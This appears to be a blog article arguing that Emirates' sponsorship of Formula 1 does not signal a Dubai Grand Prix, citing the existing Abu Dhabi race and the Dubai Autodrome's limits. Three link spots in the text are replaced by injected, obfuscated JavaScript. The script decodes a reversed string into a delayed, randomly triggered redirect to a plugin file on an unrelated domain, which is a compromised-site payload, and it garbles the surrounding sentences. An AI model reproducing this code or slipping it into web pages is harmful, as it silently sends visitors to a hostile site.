Is Dubai set for an F1 race? No, probably not

Does the deal between Formula 1 and Emirates mean a Dubai Grand Prix is on the horizon? We think not.

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Twitter is agog this morning after Bernie Ecclestone and Emirates Airlines confirmed a five-year sponsorship deal for Formula 1. The Dubai-based airline will sponsor motorsport’s premiere series from this year’s Malaysian Grand Prix, in a deal worth around $200 million.

The internet immediately jumped to conclusions. Could we see a Dubai Grand Prix in the future? It can’t be excluded, said the Emirates CEO.

But think about it for a second. A Formula 1 race in Dubai? It sounds great, but there would be numerous barriers to overcome first. Firstly, the UAE already has a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}” target=”_blank”>grand prix in Abu Dhabi. Last year’s event at Yas Marina proved more exciting and popular than ever, and there’s been no signs from Formula 1 bosses that the race is up for replacement in the near future. It also seems highly unlikely that the Abu Dhabi government would be happy about the race moving from their back yard to Dubai’s.

Assuming those political barriers are overcome, where would Dubai host an F1 race? It has a racetrack – the Dubai Autodrome – but currently the FIA grading of the circuit would only allow it to host Formula 1 testing, not an actual race. A spokesman for the track told crankandpiston that a race would require serious investments into the track. And Union Properties, the company that owns the circuit, has not been inclined to sink large amounts of cash into it since the economic crisis of 2008. Indeed, much of the planned development around the track, which was to include a theme park and hotel, has been on hold since then.

The only option that seems even vaguely feasible would be a street race. Around Downtown Dubai would seem a logical spot, in the shadow of the Burj Khalifa. Or maybe on the Palm Jumeirah, or around the Burj Al Arab. But that would require the shutting down of one of Dubai’s main tourist areas during prime season, and there would be plenty of important people none too happy about that.

Ultimately, the deal with Emirates is business and nothing more. In the same way that a deal with UBS doesn’t immediately mean a return to motor racing in Switzerland, a deal with a major Dubai company doesn’t mean we’ll see Formula 1 cars $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}”>doing anything more than $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}”>occasional demonstrations in the emirate. As you were, internet.

Picture: Renault

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